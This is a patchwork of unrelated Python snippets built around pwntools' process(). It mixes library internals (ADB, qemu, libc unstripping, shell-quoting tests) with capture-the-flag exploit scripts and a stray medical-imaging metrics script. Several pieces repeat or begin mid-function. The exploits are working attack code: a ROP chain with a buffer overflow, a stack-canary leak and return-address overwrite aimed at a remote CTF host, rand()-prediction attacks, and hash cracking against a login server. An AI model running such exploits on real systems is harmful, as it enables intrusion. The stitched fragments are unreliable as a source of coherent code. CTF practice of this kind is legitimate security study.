def c(self): """AdbClient's connection to the ADB server""" if not self._c: try: # Squelch the first '[ERROR] Could not connect to localhost on port 5037' level = self.level with context.quiet: if not self.isEnabledFor(logging.INFO): level = logging.FATAL self._c = Connection(self.host, self.port, level=level) except Exception: # If the connection fails, try starting a server on that port # as long as it's the *default* port. if self.host == context.defaults['adb_host'] \ and self.port == context.defaults['adb_port']: log.warn( "Could not connect to ADB server, trying to start it") process(context.adb + ['start-server']).recvall() time.sleep(0.3) else: log.exception('Could not connect to ADB server (%s:%s)' % \ (self.host, self.port)) # Final attempt... if not self._c: self._c = Connection(self.host, self.port, level=self.level) return self._c
def c(self): """AdbClient's connection to the ADB server""" if not self._c: try: # Squelch the first '[ERROR] Could not connect to localhost on port 5037' level = self.level with context.quiet: if not self.isEnabledFor(logging.INFO): level = logging.FATAL self._c = Connection(self.host, self.port, level=level) except Exception: # If the connection fails, try starting a server on that port # as long as it's the *default* port. if self.host == context.defaults['adb_host'] \ and self.port == context.defaults['adb_port']: log.warn("Could not connect to ADB server, trying to start it") process(context.adb + ['start-server']).recvall() else: log.exception('Could not connect to ADB server (%s:%s)' % \ (self.host, self.port)) # Final attempt... if not self._c: self._c = Connection(self.host, self.port, level=self.level) return self._c
def inner(): _isRemote = isRemote e = None if remoteAddr == '' and elf == '': raise TypeError('Both of remoteAddr and elf is void') if remoteAddr == '': _isRemote = False if elf == '': _isRemote = True else: e = ELF(elf, checksec=False) if _isRemote: p = remote(*parseAddr(remoteAddr), *args, **kwargs) ida = IDAManage(isWork=False) else: p = process(elf, *args, **kwargs) ida = IDAManage(*parseAddr(idaAddr), p) try: func(p, ida, e) p.interactive() except InterruptedError: pass except Exception as e: traceback.print_exc() finally: ida.exit() ida.close()
def ld_prefix(path=None, env=None): """Returns the linker prefix for the selected qemu-user binary >>> pwnlib.qemu.ld_prefix(arch='arm') '/etc/qemu-binfmt/arm' """ if path is None: path = user_path() # Did we explicitly specify the path in an environment variable? if env and 'QEMU_LD_PREFIX' in env: return env['QEMU_LD_PREFIX'] if 'QEMU_LD_PREFIX' in os.environ: return os.environ['QEMU_LD_PREFIX'] # Cyclic imports! from pwnlib.tubes.process import process with context.quiet: with process([path, '--help'], env=env) as io: line = io.recvline_regex('QEMU_LD_PREFIX *=') name, libpath = line.split('=', 1) return libpath.strip()
def ld_prefix(path=None, env=None): """Returns the linker prefix for the selected qemu-user binary >>> pwnlib.qemu.ld_prefix(arch='arm') '/etc/qemu-binfmt/arm' """ if context.os == 'baremetal': return "" if path is None: path = user_path() # Did we explicitly specify the path in an environment variable? if env and b'QEMU_LD_PREFIX' in env: return env[b'QEMU_LD_PREFIX'].decode() if 'QEMU_LD_PREFIX' in os.environ: return os.environ['QEMU_LD_PREFIX'] # Cyclic imports! from pwnlib.tubes.process import process with context.quiet: with process([path, '--help'], env=env) as io: line = io.recvline_regex(b'QEMU_LD_PREFIX *=') _, libpath = line.split(b'=', 1) libpath = libpath.strip() if not isinstance(libpath, str): libpath = libpath.decode('utf-8') return libpath
def testpwnproc(cmd): import fcntl import termios env = dict(os.environ) env.pop("PWNLIB_NOTERM", None) env["TERM"] = "xterm-256color" def handleusr1(sig, frame): s = p.stderr.read() log.error("child process failed:\n%s", s.decode()) signal.signal(signal.SIGUSR1, handleusr1) cmd = """ from pwn import * import signal atexception.register(lambda:os.kill(os.getppid(), signal.SIGUSR1)) """ + cmd if "coverage" in sys.modules: cmd = "import coverage; coverage.process_startup()\n" + cmd env.setdefault("COVERAGE_PROCESS_START", ".coveragerc") p = process([sys.executable, "-c", cmd], env=env, stderr=subprocess.PIPE) try: p.recvuntil(b"\33[6n") except EOFError: raise EOFError("process terminated with code: %r (%r)" % (p.poll(True), p.stderr.read())) fcntl.ioctl(p.stdout.fileno(), termios.TIOCSWINSZ, struct.pack("hh", 80, 80)) p.stdout.write(b"\x1b[1;1R") return p
def unstrip_libc(filename): """ Given a path to a libc binary, attempt to download matching debug info and add them back to the given binary. This modifies the given file. Arguments: filename(str): Path to the libc binary to unstrip. Returns: :const:`True` if binary was unstripped, :const:`False` otherwise. Examples: >>> filename = search_by_build_id('2d1c5e0b85cb06ff47fa6fa088ec22cb6e06074e', unstrip=False) >>> libc = ELF(filename) >>> hex(libc.symbols.read) '0xe56c0' >>> 'main_arena' in libc.symbols False >>> unstrip_libc(filename) True >>> libc = ELF(filename) >>> hex(libc.symbols.main_arena) '0x1d57a0' >>> unstrip_libc(which('python')) False >>> filename = search_by_build_id('06a8004be6e10c4aeabbe0db74423ace392a2d6b', unstrip=True) >>> 'main_arena' in ELF(filename).symbols True """ if not which('eu-unstrip'): log.warn_once('Couldn\'t find "eu-unstrip" in PATH. Install elfutils first.') return False libc = ELF(filename, checksec=False) if not libc.buildid: log.warn_once('Given libc does not have a buildid. Cannot look for debuginfo to unstrip.') return False for server_url in DEBUGINFOD_SERVERS: libc_dbg = _search_debuginfo_by_hash(server_url, enhex(libc.buildid)) if libc_dbg: break else: log.warn_once('Couldn\'t find debug info for libc with build_id %s on any debuginfod server.', enhex(libc.buildid)) return False # Add debug info to given libc binary inplace. p = process(['eu-unstrip', '-o', filename, filename, libc_dbg]) output = p.recvall() p.close() if output: log.error('Failed to unstrip libc binary: %s', output) return False return True
def c(self): """AdbClient's connection to the ADB server""" if not self._c: try: self._c = Connection(self.host, self.port, level=self.level) except Exception: # If the connection fails, try starting a server on that port # as long as it's the *default* port. if self.host == context.defaults['adb_host'] \ and self.port == context.defaults['adb_port']: log.warn( "Could not connect to ADB server, trying to start it") process(context.adb + ['start-server']).recvall() else: log.exception('Could not connect to ADB server') # Final attempt... if not self._c: self._c = Connection(self.host, self.port, level=self.level) return self._c
def main(): # payload = "" padChar2 = b"\x90" padSize = 32 # Initial payload hello = "\nHello, world!\n\n" # We are using putchar function from libc # as example to chain multiple function calls/gadgets # For each character in our phrase, there is putchar call payload = padChar2 * padSize for char in hello: # Generate payload for printing 'Hello, world!' # payload += p32(libc_entry + offset_putchar) # function p32 changes payload += p32(libc_entry + offset_putchar) # memoryaddress to correct format (reversed and opcoded) # whattodo after = pop/ret gadget payload += p32(libc_entry + offset_pr) # pwntools function pack, is packing our input to 32-bit memory # address with correct syntax. Ord is changing character to ASCII code payload += pack( ord(char), 32, 'little', # function arguments False).replace(b"\x00", b"\xff") # Replacing nulls with '\xff', which are generated in by packing to # fullfil 32-bit size payload += p32(libc_entry + offset_pr) payload += p32(0xffffffff) # Some address, we do not care, we are exiting # so value does not matter. payload += p32(libc_entry + offset_exit) # Writing payload to txt file just in case, # if we want to run program without script f = open("payload.txt", "w+") f.write(str(payload)) f.close # C program is using payload as args try: p = process(["../vuln_progs/Overflow", payload]) log.info(p.recvall(timeout=0.5)) except PwnlibException: print("Nulls in arguments.")
def run_with(self, binary: ELF, argv=[], *a, **kw) -> process: '''Run a `binary` with arguments `argv` using this libc's associated libs/ path. Arguments: `binary`: This is an ELF(). Please don't try to use a filename like with process(). `argv`: arguments to be passed Internally, this relies on executing ./ld-linux.so from the libc-database. ''' # First, find this libc's ld-linux.so with a glob*. lib_dir = self.dir() ld_linux_glob = glob(path.join(lib_dir, 'ld-linux*')) assert len(ld_linux_glob) == 1 # This should never fail, but in case. ld_linux = ld_linux_glob[ 0] # Guaranteed to exist as a file; barring race conds # Next, run the process as ./ld-linux.so --library-path lib_dir binary [ARGS] ... log.info('[libc] Running %r with libs in %r!' % (binary.path, lib_dir)) return process([ld_linux, '--library-path', lib_dir, binary.path] + argv, *a, **kw)
def main(): # payload = "" padChar2 = "\x90" padSize = 32 # Initial payload hello = "\nHello, world!\n\n" # We are using putchar function from libc # as example to chain multiple function calls/gadgets # For each character in our phrase, there is putchar call payload = padChar2 * padSize for char in hello: # Generate payload for printing 'Hello, world!' # payload += p32(libc_entry + offset_putchar) # function p32 changes payload += p32(libc_entry + offset_putchar) # memoryaddress to correct format (reversed and opcoded) # whattodo after = pop/ret gadget payload += p32(libc_entry + offset_pr) # pwntools function pack, is packing our input to 32-bit memory # address with correct syntax. Ord is changing character to ASCII code payload += pack(ord(char), 32, 'little', # function arguments False).replace("\x00", "\xff") # Replacing nulls with '\xff', which are generated in by packing to # fullfil 32-bit size payload += p32(libc_entry + offset_pr) payload += p32(0xffffffff) # Some address, we do not care, we are exiting # so value does not matter. payload += p32(libc_entry + offset_exit) # Writing payload to txt file just in case, # if we want to run program without script f = open("payload.txt", "w+") f.write(payload) f.close # C program is using payload as args try: p = process(["../vuln_progs/Overflow", payload]) log.info(p.recvall(timeout=0.5)) except PwnlibException: print("Nulls in arguments.")
# -*- coding: utf-8 -*- """ @author: vvv214 """ import os import numpy as np import SimpleITK as sitk import operator from pwnlib.tubes.process import process results_dir = "results_dir/" #/content/drive/My Drive/atlas/" pred_DSC = {} sh = process('/bin/sh') for patient_test in os.listdir(results_dir): if (os.path.isdir(results_dir + patient_test)): dicemat = [] print(patient_test) for patient_train in os.listdir(results_dir + patient_test): gtl = "data/training/" + patient_train + "/" + patient_train + "_frame01_gt.nii.gz" outputl = results_dir + patient_test + "/" + patient_train + "/" + "seg.nii.gz" idg = 0 #segmentatin class to predict sh.sendline("python metrics_acdc.py " + gtl + " " + outputl) _, output = str(sh.recvline()), str(sh.recvline()) dice = float(output.split(",")[1 + idg * 3]) dicemat.append(dice) pred_DSC[patient_test] = max(dicemat) sh.close()
def crack_hash(hsh: int) -> bytes: byts_reversed: List[int] = [] while hsh > 0: byts_reversed.append(hsh % PRIME) hsh //= PRIME for i in range(len(byts_reversed)): codepoint = byts_reversed[i] if codepoint == NEWLINE_CODEPOINT: byts_reversed[i] += PRIME if i + 1 < len(byts_reversed) and byts_reversed[i + 1] > 0: byts_reversed[i + 1] -= 1 else: # This rarely happens on random hashes raise RuntimeError("Unable to crack!") return bytes(reversed(byts_reversed)) # Run locally, for remote connection replace with # from pwnlib.tubes import remote # PROCESS = remote.remote('<host>', <port_number>) PROCESS = process.process(['python3', 'server_admin.py']) print('Sending cracked password...') # print(crack_hash(PASSWD)) PROCESS.sendline(crack_hash(PASSWD)) print('Password sent') PROCESS.interactive()
#!/usr/bin/env python from pwnlib.tubes.process import process from time import sleep from sys import argv sleep(1) sh = process(argv[1], shell=True) res = sh.sendlineafter('(gdb)', 'c') while b'The program is not being run.' not in res: res = sh.sendlineafter('(gdb)', 'c') sh.close()
def main(): global p # Set word size to 64 bits context.arch = 'amd64' if len(sys.argv) > 1: if sys.argv[1] == "remote": p = remote("ctf.pwn.sg", 1500) else: p = process(sys.argv[1]) print '[*] Started process PID = %d' % p.proc.pid else: p = process("./realbabypwn") print '[*] Started process PID = %d' % p.proc.pid ############# ## Exploit ## ############# # Get canary value to defeat StackGuard. # Step 1: Find the offset of the numbers from the canary address. # Answer: 289 # Location of the first Fibonacci number offset_address = 0x7fffffffdac0 canary_address = 0x7fffffffe3c8 # Location of the canary offset = (canary_address - offset_address) / 8 print '[*] Calculated offset:', offset # Step 2a: Fetch the first 8 bytes of the canary value. canary1_value = get_value_from_fib(offset) canary1 = pack(canary1_value) print '[*] Dumped canary part 1:', hexlify(canary1) # Step 2b: Fetch the next 8 bytes of the canary value. p.sendline('y') canary2_value = get_value_from_fib(offset + 1) canary2 = pack(canary2_value) print '[*] Dumped canary part 2:', hexlify(canary2) # Step 2c: Get value of original return address. p.sendline('y') original_return_value = get_value_from_fib(offset + 2) original_return = pack(original_return_value) print '[*] Original return address:', hexlify(original_return) # Step 3: Craft payload in the vulnerable input. babymode_offset = -0x1e2 # Relative address found from debugging # NOTE: Need to adjust offset to skip first (or first 2) instructions: # push rbp; mov rbp,rsp (not important as it only saves $rbp and set $rsp) # Don't know why it works locally but not on the server. babymode_offset += 0x04 # Setting to +0x01 also works babymode_address = original_return_value + babymode_offset target = pack(babymode_address) print '[*] New target address:', hexlify(target) payload = canary1 + canary2 + target print '[*] Payload:', hexlify(payload) # Step 4: Compute the size of the buffer. # Location of the buffer to overflow buffer_address = 0x7fffffffdab7 overflow_size = canary_address - buffer_address print '[*] Calculate overflow size:', overflow_size # raw_input("Press enter to send payload...") # Step 5: Send the full payload. full_payload = '\x6e' * overflow_size + payload print '[*] Sending payload...' p.sendline(full_payload) # raw_input("Press enter to continue...") p.sendline('') p.clean(1) print '[*] Switching to interactive mode...' p.interactive()
time.sleep(0.1) useShield = getShieldToUse(bossAttack) # Send the shield we want to use to the server r.sendline(str(useShield)) # Receive responses and update player states checkForStates(r.recv(timeout=1)) checkForStates(r.recvuntil("Exit\n", timeout=1)) def exploit(r): r.recvuntil("Exit\n", timeout=0.2) # Select iceball changeskill(3) while 1: useskill() r = process.process("./hunting") # Initialize the seed value libc.srand(libc.time(None)) libc.rand() exploit(r)
def init(): from pwnlib.tubes.process import process global r r = process('./challenge')
def test(original): r"""Tests the output provided by a shell interpreting a string >>> test(b'foobar') >>> test(b'foo bar') >>> test(b'foo bar\n') >>> test(b"foo'bar") >>> test(b"foo\\\\bar") >>> test(b"foo\\\\'bar") >>> test(b"foo\\x01'bar") >>> test(b'\n') >>> test(b'\xff') >>> test(os.urandom(16 * 1024).replace(b'\x00', b'')) """ input = sh_string(original) if not isinstance(input, str): input = input.decode('latin1') cmdstr = six.b('/bin/echo %s' % input) SUPPORTED_SHELLS = [ ['ash', '-c', cmdstr], ['bash', '-c', cmdstr], ['bash', '-o', 'posix', '-c', cmdstr], ['ksh', '-c', cmdstr], ['busybox', 'ash', '-c', cmdstr], ['busybox', 'sh', '-c', cmdstr], ['zsh', '-c', cmdstr], ['posh', '-c', cmdstr], ['dash', '-c', cmdstr], ['mksh', '-c', cmdstr], ['sh', '-c', cmdstr], # ['adb', 'exec-out', cmdstr] ] for shell in SUPPORTED_SHELLS: binary = shell[0] if not which(binary): log.warn_once('Shell %r is not available' % binary) continue progress = log.progress('%s: %r' % (binary, original)) with context.quiet: with process(shell) as p: data = p.recvall(timeout=2) p.kill() # Remove exactly one trailing newline added by echo # We cannot assume "echo -n" exists. data = data[:-1] if data != original: for i, (a, b) in enumerate(zip(data, original)): if a == b: continue log.error(('Shell %r failed\n' + 'Expect %r\n' + 'Sent %r\n' + 'Output %r\n' + 'Mismatch @ %i: %r vs %r') \ % (binary, original, input, data, i, a, b)) progress.success()
bossAttack = libc.rand() & 3 # rand for boss attack in defend function libc.rand() # consume rand for player attack in attack thread time.sleep(0.1) useShield = getShieldToUse(bossAttack) # Send the shield we want to use to the server r.sendline(str(useShield)) # Receive responses and update player states checkForStates(r.recv(timeout=1)) checkForStates(r.recvuntil("Exit\n", timeout=1)) def exploit(r): r.recvuntil("Exit\n", timeout=0.2) # Select iceball changeskill(3) while 1: useskill() r = process.process("./hunting") # Initialize the seed value libc.srand(libc.time(None)) libc.rand() exploit(r)
for i in range(101, 997): PRIME = i try: a = crack_hash(TEST).decode() if a.isprintable(): # should only be one secret2 = a break except: pass # Run locally, for remote connection replace with # from pwnlib.tubes import remote # PROCESS = remote.remote('<host>', <port>) PROCESS = process.process(['python3', 'challenge/server_admin.py']) a = 'a' * 20 PROCESS.recvline() PROCESS.sendline(a) hash = PROCESS.recvline().decode().split()[4] secret1 = crack_hash(int(hash)).decode()[0:20] secret1 = "".join([chr(ord(x) ^ ord(y)) for x, y in zip(a, secret1)]) possible_passwords = [] for i in range(1, 10): password = crack_hash(PASSWD) password = [ chr(x ^ ord(y)) for x, y in zip(password, secret1[0:i] * len(password)) ]
# from pwnlib.tubes import remote # p = remote.remote('<host>', <port>) # If connecting to remote from pwnlib.tubes import process p = process.process(['python3', 'server_admin.py'], cwd='challenge/') print(p.recv().decode()) f = open("collision1.bin","rb") f2 = open("collision2.bin","rb") p.sendline(b'ls') # Test for robustness # import time # p.send(b'l') # print('First part sent') # time.sleep(1) # p.sendline(b's') # print('Second part sent') # Test for robustness end print(p.recv().decode()) # TODO: make this robust on networks by reading until a character p.sendline(f.read()) print(p.recv().decode()) p.sendline(f2.read()) print(p.recv().decode()) # p.close() p.interactive()
def getprocess(self): return process(self.binary.path)
def test(original): r"""Tests the output provided by a shell interpreting a string >>> test('foobar') >>> test('foo bar') >>> test('foo bar\n') >>> test("foo'bar") >>> test("foo\\\\bar") >>> test("foo\\\\'bar") >>> test("foo\\x01'bar") >>> test('\n') >>> test('\xff') >>> test(os.urandom(16 * 1024).replace('\x00', '')) """ input = sh_string(original) cmdstr = '/bin/echo %s' % input SUPPORTED_SHELLS = [ ['ash', '-c', cmdstr], ['bash', '-c', cmdstr], ['bash', '-o', 'posix', '-c', cmdstr], ['ksh', '-c', cmdstr], ['busybox', 'ash', '-c', cmdstr], ['busybox', 'sh', '-c', cmdstr], ['zsh', '-c', cmdstr], ['posh', '-c', cmdstr], ['dash', '-c', cmdstr], ['mksh', '-c', cmdstr], ['sh', '-c', cmdstr], # ['adb', 'exec-out', cmdstr] ] for shell in SUPPORTED_SHELLS: binary = shell[0] if not which(binary): log.warn_once('Shell %r is not available' % binary) continue progress = log.progress('%s: %r' % (binary, original)) with context.quiet: with process(shell) as p: data = p.recvall(timeout=2) p.kill() # Remove exactly one trailing newline added by echo # We cannot assume "echo -n" exists. data = data[:-1] if data != original: for i,(a,b) in enumerate(zip(data, original)): if a == b: continue log.error(('Shell %r failed\n' + 'Expect %r\n' + 'Sent %r\n' + 'Output %r\n' + 'Mismatch @ %i: %r vs %r') \ % (binary, original, input, data, i, a, b)) progress.success()
# Sanity check f = open(sys.argv[1], 'r') data = f.read() if 'here:' not in data: print '[!] Oops! ' print '[!] You should set \'here\' named symbol before running gdbinit!' sys.exit(1) f.close() # gdbdiff hangs after gdb.attach()... ITK how to resume it... Got out of the incident by using fork() method. pid = os.fork() os.system('gcc -o bin ' + sys.argv[1]) if pid == 0: # child filename = 'bin' myprocess = process(filename) gdb.attach( myprocess, ''' b here r echo context before instruction\n set logging file 1 shell sleep 0.2 set logging overwrite
from pwnlib.tubes.process import process from ctypes import * import struct import time import sys #You need to import libc to get the correct sequence libc = CDLL("libc.so.6") libc.srand(4276545) RPS = ("R", "P", "S") s = process("./rock_paper_scissors") print s.recv() s.sendline("A"*58) s.sendline("1") print s.recv() for i in range(50): choice = libc.rand() % 3 choice = (choice + 1) % 3 s.sendline(RPS[choice]) sys.stdout.write("%s" %s.recv()) sys.stdout.flush() time.sleep(0.5) print s.recv(timeout=5) print "PAUSE: pid = %d" %s.pid